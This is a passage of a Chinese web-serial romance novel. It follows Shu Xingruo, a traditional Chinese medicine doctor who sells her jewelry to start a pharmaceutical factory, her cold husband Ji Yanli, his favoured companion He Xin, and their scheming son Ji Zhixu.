她去找一本儿童读物给他讲故事,回房间的时候,季知许又给季宴礼打视频。
他确定了何欣没有留下来过夜,心里松了一口气。
季知许说:“爸爸,我没钱了,你要给我钱。”
季宴礼问他:“你要多少钱?”
季知许想了想说:“一亿。”
季宴礼惊得手机差点砸脸上:“你妈让你要的?”
舒星若:“……”
季知许瞪他:“妈妈找你要过钱吗?连自己的老婆都不了解,你不是一个好老公。”
季宴礼说:“一亿暂时不能给你,我先给你打十万,自己买玩具去。”
“小气鬼爸爸,我先挂了,我要听妈妈讲故事了。”
挂了视频,舒星若收到季宴礼的微信:【不要教坏儿子,他不是你的工具。】
第7章 你老婆把结婚戒指卖了
舒星若懒得解释,没有回他的信息,坐在床边给季知许讲故事。
只要跟舒星若在一起,季知许的笑点就很低,被舒星若生动的故事逗得捧腹大笑。
舒家老两口听到他的笑声,感觉整个家里活力满满。
讲完故事他搂着舒星若的脸亲了一大口:“妈妈,你就是世界上最好的妈妈,我爱死你了。”
这个小机灵鬼是懂怎么逗妈妈开心的,舒星若心里涌过一阵暖流。
舒星若问他:“你为什么找你爸爸要那么多钱?”
季知许扑闪着亮晶晶的大眼睛:“给你创业啊,我要当妈妈的天使投资人。”他平时听季宴礼打电话多了,投资的事大概知道一点。
舒星若笑着抱紧他:“谢谢你这个小小投资人,钱的问题妈妈自己想办法。你呢,每天负责开开心心就行了。”
舒星若回房间之后,做了一会商业计划书。以她现在手里的资金,目前只能开一个中小型的制药厂。
厂房建设、设备购置、技术投入、许可认证、环保设施和流动资金等等。
每一个环节她都得仔细规划。
不知不觉到了十二点,舒星若赶紧洗漱睡觉。
第二天,舒星若送完季知许去幼儿园以后,没有去行止堂坐诊,而是拿着珠宝首饰去典当行。
舒星若一个没留,连结婚戒指都卖了,一共卖了三千万。
处理完这些,她又回了趟季家。
刘管家问她:“太太,你要搬回来了吗?”
舒星若摇摇头,径直去衣帽间收拾东西。
刘管家在身后叹气,叫了几个阿姨上去帮她。
他知道舒星若对季宴礼有多好,季宴礼失去了一个真心爱他的人。
舒星若只留了三个常用的包,将其余的奢侈品包打包了。还有过季的鞋子和衣服,整整十箱子。
打包完以后,整个衣帽间都空了。
她这六年来在季家的生活痕迹,几乎全部抹掉了。
她心里有点空落落的,在空荡荡的衣帽间里自拍了一张,发了一条朋友圈。
【跟过去挥手作别!】
林安禾马上打来电话,调侃道:“你干嘛呢,把季家别墅拆了?你拆别墅,还不如把你老公骨头拆了。”
舒星若深吸一口气说道:“没有,把这些用不上的东西全卖了,我要开药厂,凑集资金。”
林安禾忙说:“你差多少?我可以把房子抵押了借给你。”
舒星若拒绝了她的好意:“还没问土地的价格呢,需要了再给你打电话。”
正在工作的季宴礼,突然收到朋友周传文的微信:【你老婆把结婚戒指给卖了!】
周传文是典当行的老板,听经理汇报今天收了很多首饰。
过来看了一下,一眼就看到了舒星若的结婚戒指,据他所知,舒星若对这个戒指视若珍宝,怎么会卖掉呢?
马上给季宴礼发微信。
季宴礼并不在乎,他认为舒星若又在跟他玩小把戏,想吸引他的目光。
他回周传文:【随便她。】
周传文:【她不仅卖了结婚戒指,还卖了好多首饰,似乎很缺钱。】
季宴礼:【不知道,她又不跟我说。】她有他的副卡,每个月零花钱按时打,她怎么会缺钱?
大概又是想引起他的注意,真无聊。
季宴礼关掉手机屏幕,继续埋头工作。
季家别墅里,舒星若打包完叫了货拉拉,将所有的东西送到二奢店。
这些东西,买的时候贵,卖的时候掉价厉害,加起来也就卖了五百万。
她算了算,现在手里有八千万,买工业用地有点希望。买完地之后再去找银行做抵押,后续的资金也就有了。
今天是周五,舒星若打算周一去规划局问问,有没有合适的工业用地出让。
从二奢店出来以后,差不多到接季知许的时间了,舒星若直接去接他。
国际幼儿园门口,各路豪车陆续停满了。
舒星若刚停好车,就看见了身着手工西装的季宴礼从车上下来。
季宴礼也看见她了,微微蹙眉,舒星若对他视若无睹,离他远远的站在门口,等着季知许出来。
季宴礼觉得她不理自己更好,他最讨厌在公众场合搭理舒星若。
季知许一出来看见父母都来了,非常开心,“耶!爸爸妈妈一起来接我,我们去吃饭吧!”
他一手牵一个,开心的走着。
早上他上学前,特意给季宴礼打电话让他来接。
干不了无间道,他就想办法制造父母在一起的时间,这样何欣就插不进来了。
季宴礼有点不高兴,对季知许说:“你妈都来接你了,你还让我来干嘛?”
季知许小嘴一撅:“我是你捡来的吗,你不能来接我?”
他话音刚落,季宴礼的电话响了起来。
“阿礼,我刚摔了一跤,好痛,你能送我去医院吗?”
季宴礼神色紧张:“赶紧打120,我马上去医院找你。”
季知许一脸不高兴:“爸爸为什么这么关心别人?你又不是医生,你去了有什么用?”
舒星若用脚想也知道是何欣的电话,以前她会心痛,现在已经不在乎了。
果然季宴礼说:“欣欣阿姨摔跤了,爸爸得去医院看她。”
季知许生气的甩开他的手:“去吧去吧,看你去了她是不是好的快一点?”
季宴礼不管他的不高兴,头也不回的走了。
舒星若安慰气呼呼的季知许,“不用生气,你爸爸不愿意看到我,下次叫他单独带你,他就会带你出去玩了。”
季知许还是生气:“你是他老婆,他为什么不愿意看见你?”
舒星若说:“我跟他之间有无法解开的心结,只能这样。”
季知许叹气,舒星若揉揉他的小脑袋,“小朋友就不要操心大人的事了。”
随后带他去吃他爱吃的披萨,林安禾刚好不用加班,叫她一起来了。
林安禾一到就捏了一下季知许的小脸,季知许皱着小眉头:“林阿姨,你为什么总是喜欢捏我的脸?”
林安禾说:“因为你好看啊。”
她最喜欢季知许的小脸蛋,清秀又帅气。
林安禾坐下以后就问起舒星若的打算,“你不是说回行止堂继承衣钵吗?怎么突然要去开药厂?”
第8章 她还能这么美
舒星若叹口气说:“我主要是怕拿不到许许的抚养权,开药厂的话胜算大一些。”她的爱好还是帮人看病,开药厂实属无奈之举。
林安禾非常支持舒星若把事业做大,“你要是钱不够,我把我所有的钱都给你,房子也抵押了给你。”
舒星若笑着说:“谢谢你,还没到山穷水尽的地步。”
季知许说:“林阿姨,你真好!”
林安禾笑着看着他:“你妈对我也特别好啊!”当年她要出国读书,家里负担不起,舒星若二话不说就给她打了十万。那是她从小到大攒的所有的积蓄。
“禾禾,我现在只有这么多,等我挣了钱,每个月给你打。”
后来她就跟季宴礼结婚了,每个月生活费充裕,一直资助到林安禾毕业。
林安禾拿起一块披萨,问道:“离婚协议书你老公签了没?”
舒星若摇摇头,她也不明白既然季宴礼看到她就烦,为什么迟迟不签字?
林安禾理智的说:“现阶段他不签更好,你还可以继续带着许许。真签了,他该跟你争抚养权了。他们季家财大气粗,你斗不过。拖到许许大一点,法官会问他的意见。”
季知许马上搂着舒星若的胳膊:“我要跟妈妈。”
林安禾又捏了一下他的小脸蛋:“真乖,你妈没白疼你。”
吃完饭刚到家,舒星若接到了婆婆韦瑛的电话。
“星若,明天我朋友的度假村开业,叫我去剪彩,你带许许一起过来。地址时间我一会发给你。”
韦瑛对舒星若一直很好,她觉得舒星若人美心地善良,又爱她儿子,打着灯笼都找不着。
最关键的是当年季氏危机,季宴礼瘫痪,她都不离不弃。
舒星若说:“好的,妈,明天我带许许过来。”
季知许一听是他奶奶,马上要接电话:“奶奶,我好想你。”
他甜甜的声音逗得韦瑛心花怒放,“许许,你最近乖不乖?”
季知许立刻告状:“我可乖了,我爸爸一点都不乖,他不陪我吃饭去陪那个何欣。你要记得打他屁股。”
舒星若:“……”
提起何欣,韦瑛就一肚子火,上次她回国季宴礼搞那么大阵仗,韦瑛气得骂了季宴礼足足半小时。
但他死不悔改,转身又给她办生日宴。要不是季宴礼是她儿子,早叫舒星若离婚了。
韦瑛叫季知许把电话给舒星若,她心疼的问道:“星若,你没事吧?”
这些年她没少骂季宴礼,但他永远那副死样,对舒星若十分冷淡。
舒星若说:“妈,我没事,已经习惯了。”
听到舒星若的满不在乎,韦瑛的心凉了一大截,她感觉舒星若已经不爱季宴礼了。
韦瑛匆匆挂了电话,打电话给季宴礼,此时季宴礼正在医院里陪着何欣。
“妈,什么事?”
韦瑛压住破口大骂的冲动,“你是不是在医院里陪那个狐狸精?”
季宴礼眉心跳了跳:“妈,你说话不要这么难听。是不是舒星若跟你告状了?”
“告状?”韦瑛因为生气抬高了声音,“星若现在对你压根就不在意,她提都没提。许许告诉我的,你不陪老婆孩子,陪一个不三不四的女人。你的脑子长泡了吗?”
季宴礼脸色暗沉:“妈,欣欣不是不三不四的女人,她是我的救命恩人。”
“救命恩人?你没给她钱吗?她没完没了的缠着你就是个贱人……”韦瑛越说越气,终于忍不住骂了起来。
季宴礼打断她:“妈,你再骂我就挂了。”
韦瑛气得牙痒痒的,“行,我不骂,你就护着她,你老婆已经不在乎你了!”
不在乎?舒星若又是卖结婚戒指又是让儿子约他,不就是想吸引他的注意吗?
她会不在乎自己?真是天大的笑话!
季宴礼压根就不信。
“行了,妈,我知道了。”挂了电话。
韦瑛摇头,她这个儿子简直无可救药。她只盼着舒星若不要离婚,久了她那个瞎眼的儿子终会看见她的好。
金郡度假村依山傍水,被十三峰和雪山环绕,房间内的大幅落地窗,躺在床上就能看日照金山。
最主要是依着温泉而建,冬日里来泡温泉,欣赏绝美山景,惬意又享受。
舒星若今天穿了一条粉色流仙裙,胸口绽放了一朵玫瑰花,衬得她如同水云天的仙子。如梦似幻,轻盈飘逸。
韦瑛看到舒星若这么漂亮,眼睛都发光了,夸道:“星若,你这裙子也太美了。是哪个牌子的高定啊?”
舒星若尴尬的笑笑,她现在可舍不得买高定,“设计师工作室出的款,价格不贵。”
“嗯,你人美,穿什么都好看。”
韦瑛赶紧向度假村的老板吉广通介绍她。
“吉总,这是我儿媳妇舒星若,她可是中医圣手,我儿子的双腿就是她治好的。”
吉广通眼前一亮,“想不到季太太这么年轻竟然有这么好的医术,我母亲半身不遂了半年,不知道你能不能替她看看。她就在度假村。”
舒星若说:“没问题,但是我今天没有带药箱,一会可以让人送过来。不过吉总,我不保证一定能治好令堂的病。”
舒星若虽然医术精妙,但世上未知的病太多,她也不敢打包票。
吉广通也不抱太大希望,死马当作活马医,舒星若愿意去看就成。
随后门口一阵骚动,季宴礼带着何欣来了。
何欣穿的是DIOR的玫瑰礼服裙,也是粉色的。跟舒星若有些撞衫,但舒星若的身段容貌明显压了何欣一头。
只是舒星若脖颈处空空如也,何欣身上戴了全套的VCA珠宝,整个人贵气十足。
大家都知道林欣是季宴礼的白月光,季宴礼是真的大方,何欣每次出来的行头都大几百万。
在场的极少数人知道舒星若的身份。
吉广通尴尬的看了一眼舒星若,她神情自若,毫不慌乱与气愤,似乎季宴礼是个与她无关的陌生人。
韦瑛的脸色很难看,她走过去低声质问季宴礼:“你把她带来干什么?你老婆孩子都在这里,别说我不给你脸。”
季宴礼看向不远处正在和吉广通聊天的舒星若,结婚六年,他从不带她出席活动,从未见过这样打扮的舒星若。
今天的她美得实在耀眼。
第9章 不许惹何欣
季宴礼的心头颤抖了一下,呵,不是说不在乎他吗?打扮得这样好看不就为了吸引他的注意。
任她再美,也是个蛇蝎女人。
季宴礼将目光从舒星若身上移开,他说:“妈,你警告她今天不要闹事,否则我不会客气的。”
韦瑛懒得理这个眼盲心瞎的儿子,去逗了一会季知许。
季知许原本要去叫季宴礼的,被舒星若阻止了。
在人家开业典礼上闹事,让主人家情何以堪。
更何况季宴礼心思在何欣身上,就没空跟她抢儿子了。
剪彩仪式开始,吉广通在中间、季宴礼和韦瑛分列两侧,一起剪彩,现场组织了人欢呼鼓掌,气氛非常热烈。
随后司仪宣布金郡度假村正式营业。
接下来是歌舞表演,请了很多专业人士,节目安排的精彩又有趣,大家看得津津有味。
舒星若把季知许交给韦瑛,去上洗手间。
何欣跟在舒星若后面,刚进洗手间她就把舒星若拦住。
“你今天穿成这样是不是为了勾引阿礼?”
她今天一进来就看见了光彩照人的舒星若,现场很多人都在偷偷看她,硬生生的把自己给比下去了。
她气得半死。
舒星若瞟了她一眼,冷冷的说道:“我穿什么是我的自由,至少目前为止季宴礼还是我的合法丈夫。”
何欣嗤笑:“丈夫?那他为什么从来不承认你是他老婆?舒星若,你知道我今天这身他花了多少钱吗,他舍得这样给你花钱吗?”
舒星若无法反驳,季宴礼确实从来不带她,也不会主动给她买任何东西。
何欣见舒星若不说话,胜利感爆棚:“我劝你以后不要做这种无用功,你这尊花瓶再好看,阿礼也不会看一眼的。”
舒星若讥讽的笑道:“你愿意当花瓶自己去当,我没有兴趣。一只花瓶再美,也有看腻的一天。更何况,每天有那么多年轻漂亮的花瓶对他投怀送抱。你只不过是其中一个而已。”
何欣气得手发抖:“舒星若,你……”
舒星若不再理她,径直走了进去。
何欣望着她高傲的身影,怒火冲天,你高傲是吧?待会我就让你哭。
她使劲的揉眼睛,把眼睛揉得又红又肿,看起来像哭了很久。
随后又用水打湿了头发和脸,让自己看起来受到了莫大的伤害。
果然何欣一出来,季宴礼看到她狼狈的样子就问:“欣欣,你怎么了?发生了什么?”
何欣梨花带雨的靠近他的怀里:“阿礼,都是我的错,我不该穿着这么贵重的衣服,她生气了。”
季宴礼胸前起伏,舒星若这个歹毒的女人,肯定狠狠地欺负了何欣。
他走到走廊里等舒星若出来,舒星若看见他只当是空气,目不斜视的继续往前走。
季宴礼一把扯过她的胳膊,用力的拽住她。
“舒星若,你为什么要欺负欣欣?”
舒星若一脸疑惑,蹙起眉头:“我欺负她?我为什么要欺负她?”
“因为你嫉妒她,嫉妒我给她买衣服首饰,嫉妒我带她入场不带你。你这个蛇蝎毒妇。”
舒星若冷冷的盯着他,“季宴礼,你是瞎还是蠢?我如果要欺负何欣,刚刚我就叫儿子去喊你爸爸,坐实她小三的身份,我看你们要怎么收场?”
季宴礼转念一想,舒星若的话确实有道理,可是他的欣欣温柔又单纯,怎么会自编自导呢?
他无法相信。
他继而说道:“你不在大庭广众欺负她,是因为要做样子给我妈看,你别以为我不知道你打的什么鬼主意。”
舒星若眼里的鄙视快要溢出来了:“季宴礼,你别把自己看得太重,我已经不在乎你了。你爱带谁就带谁,跟我没有关系。”
她转身离开之前丢下一句:“还有,如果不是我这个蛇蝎毒妇,季总,你现在还坐在轮椅上。看看你的白月光还搭理你不?”
季宴礼冷笑:“如果不是欣欣及时叫救护车,你的医术再高也救不回我。”
季宴礼逼近舒星若,近得舒星若能听见他的呼吸声。
舒星若有些慌乱的往后退了一步,季宴礼狭长的丹凤眼深邃的望着她:“你治好我的腿是没错,季太太的位置我已经给你了。你安分守己,我可以养你一辈子。不要再惹欣欣,否则我不介意让你滚蛋。”
舒星若猛地想起林安禾的话,怕季宴礼突然发神经来抢季知许,她现在毫无胜算。
舒星若挑眉说道:“以后我看见何欣绕路走,行了吧?”
她看向季宴礼,他的脸色晦暗不明,对舒星若的话不置可否。
舒星若不愿再理会他,快步走了出去。
她出来的时候脸色不太好,季知许关心的问道:“妈妈,是不是爸爸和那个女人欺负你了?”
舒星若摇头:“没有,妈妈没事。”
韦瑛早就看到在季宴礼怀里哭得梨花带雨的何欣,要不是在别人家场地,韦瑛真想撕了她。
韦瑛安慰舒星若:“星若,不要伤心,那只狐狸精成天在宴礼跟前扮娇弱,咱们就放长视线看她还能装多久!”
舒星若并不伤心,只是刚刚被季宴礼逼得心跳突突的。
她在心里骂自己不争气,怎么还能被他牵动心绪?她必须要把季宴礼从自己的心里挖掉。
剪彩仪式结束以后,季宴礼就带着何欣回房间了,气得季知许小脸又鼓了起来。
舒星若摸摸他的头:“许许不要生气,一会妈妈带你去游乐场玩。”
度假村里有个很大的儿童游乐场,是季知许最喜欢的太空主题。
舒星若拿起度假村宣传册,翻到游乐场那一页,他看了一会,圆溜溜的大眼睛转了一下,“好棒哦,一会我们就去玩。”
这时舒星若的药箱送了过来,她跟着吉广通去给他母亲看病。
老太太叫甘净莲,虽然瘫痪,但吉广通请了三个护工轮流照顾,身上一点褥疮也没有,脸色还有些红润。
舒星若说:“吉总真的很有孝心,将老太太照顾得很好。”
吉广通叹气:“哎,我现在后悔死了,我妈有糖尿病,一直没管控好她的饮食和血糖,才导致成这样的。”
舒星若走近给甘净莲号了脉,越号她脸色越沉。
吉广通在一旁冷汗涔涔,他心里咯噔一声,看来希望不大。
第10章 不要叫她季太太
舒星若一直没有说病情,只让去取甘净莲的病历。她翻看了甘净莲以往的病历,病历上写她因为小脑出血,压迫脑干导致的瘫痪。
这跟舒星若诊断出来的基本上差不多,这个病症非常棘手。
舒星若并没有十足的把握。
“倘若是皮质脊髓束永久性损伤,神仙难救。如果不是,可以针灸加吃药,慢慢养着,有恢复的希望。”
吉广通愿意试一试,问舒星若:“治疗费要多少?”
舒星若说:“按照行止堂的收费,行针一次一百,开方子两百,抓药你们自己去抓就行了。”
吉广通想不到舒星若这么高的医术,收费居然这么便宜,对舒星若又增添了几分好感:“季太太,你放心看病,即使我妈不能好,我也不怪你。”
舒星若不喜欢季太太这个称呼,她纠正道:“不要叫我季太太,您可以叫我小舒或者直接叫我名字都行。”
吉广通秒懂,季宴礼都出轨了,舒星若讨厌季太太的名号很正常。
随后舒星若给甘净莲扎针开药,忙活了近两小时才好。
已经到了午餐时间,韦瑛和季知许已经在度假村餐厅等她了。
舒星若坐下以后,韦瑛问起甘净莲的病情,舒星若说:“老太太因为糖尿病并发症引起的小脑出血,我也没有把握完全治好她。”
她看着韦瑛叮嘱道:“妈,您一定要少吃甜食。”
韦瑛爱吃甜食还不爱运动,舒星若一直劝她少吃,但就是管不住嘴。
之前舒星若定期给她开食疗方子,这些年身体倒是比较康健。
韦瑛笑着说:“有你在我身体一直好着呢。”
季知许也凑过来说:“妈妈就是我们的守护神。”
正说笑间,韦瑛突然翻了一个白眼。
舒星若顺着韦瑛的眼神看过去,发现是季宴礼带着何欣来吃饭,何欣挽着季宴礼,趾高气扬的从舒星若身边经过。
舒星若并不看她,低头夹菜给季知许。
季知许狠狠地朝季宴礼瞪了一眼,季宴礼脚步一顿,何欣赶紧说:“阿礼,我要吃澳龙。”
季宴礼回应:“嗯,都听你的。”
迈开长腿走了。
舒星若只当他俩是空气,继续安心吃饭。
韦瑛长长的叹了口气,她知道舒星若心里颇有主意,以她这个状态,他们的婚姻长久不了。
午休之后,舒星若换了一身休闲服带季知许去游乐场玩,里面有很多关于太空主题的娱乐设施,尤其是模拟太空舱,把季知许激动得转圈圈。
舒星若平时天天练武当八段锦,体力很好。她陪着季知许爬上爬下,一玩就是俩小时,母子俩玩得非常开心。
季知许特意让工作人员帮他们拍了很多合照,照片里的舒星若笑靥如花,又美又温柔。
连工作人员都夸:“你们简直是度假村里颜值最高的客人了,而且小朋友和妈妈的体力都很厉害。”
季知许自豪的说“那是,我妈妈就是这个世界上最漂亮的人。”
舒星若被季知许的小甜嘴哄得心花怒放,“你不能这么自吹自擂的。”
回到客房之后,季知许发了一个朋友圈:【和妈妈一起体验太空游乐场,特别开心,只是少了爸爸,有些遗憾!】
附上了九宫格图,全是母子俩的合照。
季宴礼晚饭的时候刷到了这条朋友圈,他觉得一定是舒星若让儿子发的,对她的行为嗤之以鼻。
他心里冷哼,“也就她这种心机深沉的女人,喜欢拿儿子当工具了。”
他是绝不会上当的。
发完朋友圈的季知许,久久等不到季宴礼的回应,气得平板都不想玩了。
他躲到阳台上给季宴礼打电话,酝酿了一会,声音终于有些哽咽:“爸爸,你是不是不要我了?”
季宴礼神色一顿:“为什么这样说?”
“妈妈陪我在游乐场玩,你都不来陪我。你是不是不爱我了?”季知许带着明显的哭腔说道。
季宴礼哄道:“没有,爸爸今天有事忙,下次再带你玩。”
季知许继续哭道:“不行,我今天伤心了,爸爸你得补偿我。”
季宴礼耐心的问:“你想要什么?”
季知许声音马上欢快了起来:“给我发红包。”
季宴礼给他转了十万。
季知许知道舒星若缺钱,他决定多找他爸要钱,抓住一切机会的要,减轻妈妈的负担。
舒星若发现了季知许手机上的红包,对这个鬼灵精怪的儿子直摇头,也不知道怎么会这么人小鬼大。
幸好,他一心只想跟妈妈。
第二天上午,舒星若要去给甘净莲看病,带着季知许不方便。
韦瑛有事,昨晚已经回去了。
舒星若犹豫了一会,还是拨通了季宴礼的电话。
看着舒星若的来电,季宴礼眉心跳了跳,舒星若已经很久没有给她打过电话了。
他接起来,电话那头舒星若冰冷的声音传来:“我上午有事,你能带一下儿子吗?”
季宴礼没有犹豫,“行,我去接他,你房间号给我。”
季宴礼接走季知许之后,她提着药箱去了甘净莲的房间。
房间里坐着一名身穿白色衬衫的男子,他戴着金丝眼镜,容貌俊美。
见舒星若进来,他站起身走过来,对舒星若上下打量了一番,眼里露出微不可见的鄙夷:“你就是那个中医?”
舒星若正要问他是谁,吉广通走了进来,他热情的介绍道:“小舒,这是我外甥苏容泽。阿泽,这是舒星若大夫。”
苏容泽对舒星若没有好脸色,认为是舅舅吉广通请来的神棍,“我希望你不是来骗钱的。”
舒星若不卑不亢的说道:“苏先生,看你衣冠楚楚的,想不到这么无知,我会为了骗一百块的针灸费跑过来吗?”
“一百?”苏容泽有些尴尬。
吉广通瞪了他一眼,“小舒是真正的中医,不是那种江湖骗子。”
舒星若让苏容泽他们出去,她关上门开始给甘净莲施针。
昨天她开的方子甘净莲已经喝上了,今天依然没什么变化。
她心里还是没有底。
扎完针灸以后,吉广通有事先走了,苏容泽等在过道里。
他问舒星若:“我外婆怎么样了?”
舒星若实话实说:“目前还是老样子。”
苏容泽蹙眉:“那你治疗了个寂寞?”
第11章 她又在耍心机了
舒星若像看二百五一样的看他:“你有没有听过病去如抽丝?”
苏容泽一脸不悦,不仅是她的态度,还有她的眼神。
“我希望你不要拿我外婆练手。”
舒星若懒得跟这种无知的人废话,转身回房间了。
苏容泽觉得她脾气很大,一言不合就翻脸走人。
也许她真的是有能力的人吧。
舒星若收拾东西准备回市区,季宴礼把季知许带回去了。
舒星若出门的时候,吉广通来送,他幽幽的说了一句:“季总开了两个房间,他和那位小姐是分开住的。”
舒星若不想知道他在搞什么鬼,季宴礼的事现在跟自己没有关系。
吉广通见她脸上没什么表情,心中暗自叹息:“可惜了!”
季宴礼已经几天没回家了,回到别墅,看到空空如也的衣帽间,他的心忽然像被一只手攥紧了。
难道舒星若真的要离开他了?
转念一想,她怎么会舍得?这大概又是她的小把戏。
舒星若到达季家别墅的时候,季宴礼和季知许在餐厅吃饭。
季知许热情的说:“妈妈,快来一起吃饭。”
舒星若说:“你吃,我吃过了。”
她撒谎了,她是不愿意和季宴礼同桌吃饭。
她嫌恶心。
季知许说:“那你坐我旁边。”
舒星若坐在他身边,连水都不喝,干等着。
季宴礼瞟了她几眼,发现她的眼神压根就没有看过自己。
他突然有些心慌,舒星若以前总是深情的看着他的。
他又骂自己神经,舒星若会不在意他?
吃完饭以后,舒星若直接带季知许走了,半个眼神也没留给季宴礼。
季宴礼心里堵得厉害,想问舒星若到底要干嘛,又不知道怎么开口。
晚上失眠到半夜,他觉得自己可能是习惯了舒星若在家吧。
他并不是在乎她,让她闹去吧。看她能坚持多久?
周一的早上送完季知许之后,舒星若就去规划局咨询工业用地的事。
在电梯里遇见了褚茗,舒星若惊奇的问道:“你在规划局上班?”
褚茗说:“对呀,你来办什么事?”
舒星若说:“我来咨询工业用地,想买块地开药厂。”
褚茗说:“我刚好负责这块,你来我办公室聊。”
舒星若跟着褚茗去了她的办公室,褚茗让秘书给舒星若泡茶,她说:“最近喝中药,我这心情倒是舒坦了不少。”
舒星若说:“你保持好心情非常重要,生出来的宝宝也漂亮健康。”
褚茗笑着说:“借你吉言。”
褚茗拿了一份文件给舒星若看,这是一份土地出让公告,含了各种信息,包括位置、面积、起始价等等。
舒星若留意了,保证金5000万。
褚茗说:“这块地下个月就拍卖了,你得抓紧时间交相关资料上来才能参与竞买。需要的资料我让秘书一会给你,有困难你可以问我。”
褚茗对舒星若的映象非常好,只要不违规,她能帮就帮。
舒星若问:“方便透露有哪些公司参与竞买了吗?”
褚茗说:“目前交报名材料的就只有瑞祥药业。”
舒星若倒吸了一口冷气,瑞祥药业是季氏集团下面的子公司,他们背靠集团财大气粗,她大概率争不过。
褚茗见舒星若脸色转沉,知道她是忌惮季氏集团,她安慰道:“我们是盲拍,标书的底价谁也不知道,你也不用这么早灰心。”
这样,舒星若的信心又稍稍恢复了一些。
大不了她梭哈一把,标价写上八千万,生死由天。
接下来就是要准备公司场地,注册公司,请人,一大堆事要弄。
一忙起来时间特别快,她没留意就到了下午四点多,快要到接季知许的时间了。
宁可芳今天去山上拜佛了,家里没有人。
舒星若只好给季宴礼的司机高峰打电话。
“高师傅,可以帮我去幼儿园接一下季知许吗?我今天有事,来不及接了,你接回来以后送到我家,地址我一会发给你。”
高峰说:“我得请示一下总裁。”
高峰敲开季宴礼办公室的门。
“季总,太太让我去接少爷,她给了我一个新的地址。”
季宴礼蹙眉:“新的地址?”
他从来没有陪舒星若回过娘家,对舒家的事毫不知情。
他觉得舒星若这是特意来提醒他,自己不在家了。要他接她回家。
这个心机深沉的女人!
季宴礼冷漠的说道:“随便她,你去接吧。”
高峰回了舒星若电话,帮她去接季知许。
舒星若忙完手头的事已经五点了,她想起来今天还没去给甘净莲看病,驱车前往度假村。
到了度假村,那个苏容泽竟然还在。
他坐在甘净莲的床边用电脑处理工作,晚霞照在他俊美的脸上,仿佛一幅世界名画。
他见舒星若从市区开车过来看病,不禁有些意外,“舒医生果然医者仁心。”
她肯定不是江湖骗子。
舒星若提着药箱走上前来:“我既然给老太太看病了,就得负责到底。”
她见甘净莲今天意识比前两天好了一些,面露喜色。
重新号了脉,给甘净莲扎了一遍针。
针灸完毕之后她问苏容泽:“你舅舅呢?叫他过来,我有事跟他说。”
苏容泽见到舒星若刚刚脸上一闪而过的喜色,猜想应该是甘净莲的病情有进展,赶紧给吉广通打电话。
等吉广通来的时间,舒星若低头写新的药方。
吉广通进来就问:“星若,我妈病情是不是有好转?”
舒星若点头:“老太太今天有了一些意识了,可以确定不是皮质脊髓束永久性损伤。有治好的希望,我重新写了一张药方,你按照这个去给她抓药。下周我再来看她。”
吉广通接过她递来的药方,脸上大喜:“谢谢星若,你可真是我的大恩人。我得给你发个大红包。”
舒星若淡淡道:“吉总不用这么客气,这是我一个医者该做的事,要是能治好老太太我比您都高兴。”
吉广通说:“这怎么行?你前后才收三百,市区来度假村开车就1小时,来回油费得多少钱?”
舒星若摆摆手:“您这个比较特殊,您给我报一百的油费就行,其他的不用。”
她提着药箱走了,苏容泽跟着她下楼。
第12章 再教唆儿子就离婚
苏容泽追上步伐匆匆的舒星若,舒星若好奇的问他:“你有事?”
苏容泽扶了扶鼻梁上的眼镜,他郑重的说道:“舒医生,我为自己之前的质疑道歉。”
舒星若不在意:“小事,这年头大部分人都质疑中医。”
苏容泽觉得她在骂自己,因为她看自己的眼神又像在看傻子。
他有些尴尬,不过确实是自己理亏,无端怀疑人家。
舒星若的步伐很快,她赶着回去带儿子。
苏容泽迈着长腿勉强跟上:“你赶时间?”
“对,回家带儿子!”
苏容泽惊异,她这么年轻就有孩子了,而且她这身材脸蛋跟孩子妈完全联想不到一起去。
苏容泽以为容颜较好的她是单身,听到她有儿子了,他心里蓦地飘过一阵失落。
苏容泽的声音变得轻飘飘的:“舒医生,有空的话我请你吃饭,就当是赔罪。我们可以先加一下微信。”
舒星若已经打开了车门,她回头说道:“不用,谢谢!”
她的语气冰冷异常,苏容泽愣神,感受到她的拒人千里之外。
还是第一次有女人对他这样。
舒星若到家的时候,季宴礼的车刚好停下。
何欣约了他晚上吃饭,高峰送完季知许就来不及了。
他让高峰直接把季知许接到公司,带着季知许一起去吃饭。
何欣看到季知许一脸不悦,但她不敢表现出来,季宴礼一直很疼这个儿子。
假装热情的说道:“许许,想阿姨了吗?”
季知许眨巴着大眼睛,人畜无害的说:“想啊,日思夜想。”
季宴礼去外面接了个电话,季知许对何欣说:“我想你快点去死。”
何欣怒斥:“你一个小孩子怎么这么恶毒?”
季知许小脸气鼓鼓的:“你都抢我爸爸了,我为什么不能骂你?还有,就算你怀了我爸的孩子,也生不下来。因为你心肠太坏,没有一个小朋友选你当妈妈。你这个坏女人。”
何欣被气得差点背过去,她眼冒红光,大声喊道:“季知许!”
扑过来准备打他,季知许从小被舒星若送去练武术,一闪身就躲过去了。
他从后面给了何欣一脚,何欣摔了个狗啃泥,十分狼狈。
季宴礼接完电话回到包厢恰好看到这一幕,心疼不已。
季宴礼赶紧扶起她,关心的问道:“欣欣,你没事吧?”
何欣脸上已挂上泪:“阿礼,是你儿子将我推倒的。他还骂我……骂我生不出孩子。”
季宴礼面色铁青,呵斥道:“季知许,有没有这么回事?”
季知许一屁股坐到地上大哭起来,边哭边喊:“是这个女人欺负我,我一个小孩怎么推得动她?是她要打我,我躲开她自己摔倒的。”
他抱着季宴礼的腿继续大哭:“爸爸,要不是我躲得快,她就打到我了。”
一时之间弄得季宴礼手足无措。
何欣见季宴礼有些偏向季知许,继续垂泪啜泣:“阿礼,明明是他先骂我的,他这个样子一定是他妈妈教的。明明之前许许很喜欢我的。”
季宴礼觉得何欣的话有几分道理,季知许一向很听舒星若的话。
季知许对何欣的态度一百八十度大转弯,其中必定有舒星若的手笔。
季宴礼拉起季知许坐下,训斥道:“男孩子不要动不动就哭。你告诉爸爸,你为什么突然讨厌欣欣阿姨的?”
季知许趴在桌子上不说话,他心想:“喜欢个屁,我从来就没喜欢过这个女人。”但是他不能说理由,闭口不言。
服务员敲门进来上菜,何欣眼珠一转,心生一计。
她借口出去上厕所,给前面在包厢里服务的服务员一百块,“小姐姐,等一下帮我做个证,就把那小孩骂我的话再说一遍。”
“行!”
饭快吃完的时候,服务员进来更换骨碟。
何欣放下筷子,眼泪开始在眼眶中打转,欲言又止的望着季宴礼。
季宴礼立刻发觉了她的委屈,柔声问道:“欣欣,你这是怎么了?”
何欣哽咽着说:“阿礼,许许骂我生不出孩子,我真的很伤心。你知道的,我……我……”
季宴礼蹙眉,何欣指着服务员说:“不信,你问她?”
